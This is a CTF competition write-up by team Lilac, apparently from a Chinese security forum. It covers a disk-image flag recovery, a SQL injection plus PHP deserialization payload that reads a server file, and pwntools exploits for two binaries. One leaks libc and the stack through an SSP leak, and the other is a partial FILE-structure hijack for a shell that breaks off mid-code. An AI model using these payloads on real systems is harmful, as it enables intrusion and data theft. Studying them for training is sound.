Team: Lilac

[TOC]

misc

签到

回复公众号即可

clip

  • 对damaged.disk分析可知包含png图片,提取图片得到了两张图片.
  • 修复png文件头, 对图片还原PS等,得到flag:
    flag{0b008070-eb72-4b99-abed-092075d72a40}

web

facebook

利用点: sql注入+反序列化+LFR
payload:

/view.php?no=0/*123*/UniOn/*123*/select/*123*/0,1,2,%22O:8:\%22UserInfo\%22:3:{s:4:\%22name\%22;s:5:\%22lilac\%22;s:3:\%22age\%22;i:0;s:4:\%22blog\%22;s:29:\%22file:///var/www/html/flag.php\%22;}%22

pwn

guess

  • 程序把flag读在栈上,提供了栈溢出,但是有canary保护,看似没有其他漏洞了,很自然地想到了ssp leak,但是不知道栈地址。从程序提供3次输入机会想到可以先用got地址泄露libc,然后用libc上的environ泄露栈地址,然后算出得到的栈地址与flag的距离,最后拿flag,这个距离值是固定的,正好可以通过3次泄露完成。libc可以用各种工具拿到,测试时发现远程环境和本地相同.
from pwn import *
'''
for i in range(0x80, 0x180, 8):
  p = process("./GUESS")
p.recvuntil("flag\n")
p.sendline("1" * i + p64(0x0400C90))
p.recvline()
x = p.recvline()
p.close()
print hex(i), x
'''
environ = 0x03C6F38
p = remote("106.75.90.160", 9999)
p.recvuntil("flag\n")
p.sendline("1" * 0x128 + p64(0x602040))
print p.recvuntil("***: ")
read_offset = u64(p.recv(6).ljust(8, "\x00"))
libc = read_offset - 0x00000000000F7250
environ += libc
print hex(libc)

p.recvuntil("flag\n")
p.sendline("1" * 0x128 + p64(environ))
print p.recvuntil("***: ")
stack = u64(p.recv(6).ljust(8, "\x00"))
print hex(stack)

p.recvuntil("flag\n")
p.sendline("1" * 0x128 + p64(stack - 0x168))
print p.recvuntil("***: ")
print p.recvline()
p.close()

blind

release功能释放堆块后没有把指针置0,可以change中再次使用,存在uaf漏洞,可以用来修改fd做fastbin attack,以为没有提供leak,所以各种hook函数就别想了。stdin,stdout,stderr地址都是以0x7f开头,可以通过错位实现劫持,这里选择了stderr,然后就可以修改全局数据的5个指针指向任意地址,我将4个指针指向了bss上的一块连续内存用来伪造io_file和vtable,第五个指向了stdout用来攻击file结构。程序留了后面,可以直接吧vtable中的函数指针全部设为它,用构造好的file结构体指针覆盖stdout,执行printf时程序就被劫持为system(“/bin/sh”),伪造结构体时需要设置fp->lock指向一块值为0的内存。

from pwn import *
import struct

_IO_USE_OLD_IO_FILE = False
_BITS = 64

def _u64(data):
    return struct.unpack("<Q",data)[0]

def _u32(data):
    return struct.unpack("<I",data)[0]

def _u16(data):
    return struct.unpack("<H",data)[0]

def _u8(data):
    return ord(data)

def _usz(data):
    if _BITS == 32:
        return _u32(data)
    elif _BITS == 64:
        return _u64(data)
    else:
        print("[-] Invalid _BITS")
        exit()

def _ua(data):
    if _BITS == 32:
        return _u32(data)
    elif _BITS == 64:
        return _u64(data)
    else:
        print("[-] Invalid _BITS")
        exit()

def _p64(data):
    return struct.pack("<Q",data)

def _p32(data):
    return struct.pack("<I",data)

def _p16(data):
    return struct.pack("<H",data)

def _p8(data):
    return chr(data)

def _psz(data):
    if _BITS == 32:
        return _p32(data)
    elif _BITS == 64:
        return _p64(data)
    else:
        print("[-] Invalid _BITS")
        exit()

def _pa(data):
    if _BITS == 32:
        return struct.pack("<I", data)
    elif _BITS == 64:
        return struct.pack("<Q", data)
    else:
        print("[-] Invalid _BITS")
        exit()

class _IO_FILE_plus:
    def __init__(self):
        self._flags = 0x00000000fbad2887         # High-order word is _IO_MAGIC; rest is flags.
        self._IO_read_ptr = 0x602500   # Current read pointer
        self._IO_read_end = 0x602500   # End of get area
        self._IO_read_base = 0x602500  # Start of putback+get area
        self._IO_write_base = 0x602600 # Start of put area
        self._IO_write_ptr = 0x602600  # Current put pointer
        self._IO_write_end = 0x602600  # End of put area
        self._IO_buf_base = 0x602600   # Start of reserve area
        self._IO_buf_end = 0x602601    # End of reserve area

        # The following fields are used to support backing up and undo.
        self._IO_save_base = 0      # Pointer to start of non-current get area
        self._IO_backup_base = 0    # Pointer to first valid character of backup area
        self._IO_save_end = 0       # Pointer to end of non-current get area

        self._markers = 0
        self._chain = 0

        self._fileno = 0
        self._flags2 = 0
        self._old_offset = 0    # This used to be _offset but it's too small

        # 1+column number of pbase(); 0 is unknown
        self._cur_column = 0
        self._vtable_offset = 0
        self._shortbuf = 0

        self._lock = 0x602700

        if not _IO_USE_OLD_IO_FILE:
            self._offset = 0
            self._codecvt = 0
            self._wide_data = 0
            self._freeres_list = 0
            self._freeres_buf = 0
            self.__pad5 = 0
            self._mode = 0
            self._unused2 = [0 for i in range(15 * 4 - 5 * _BITS / 8)]
        self.vtable = 0x602168

    def tostr(self):
        buf = _p64(self._flags & 0xffffffff) + \
wp_Lilac.pdf (0.654 MB) 下载附件
点击收藏 | 1 关注 | 2
登录 后跟帖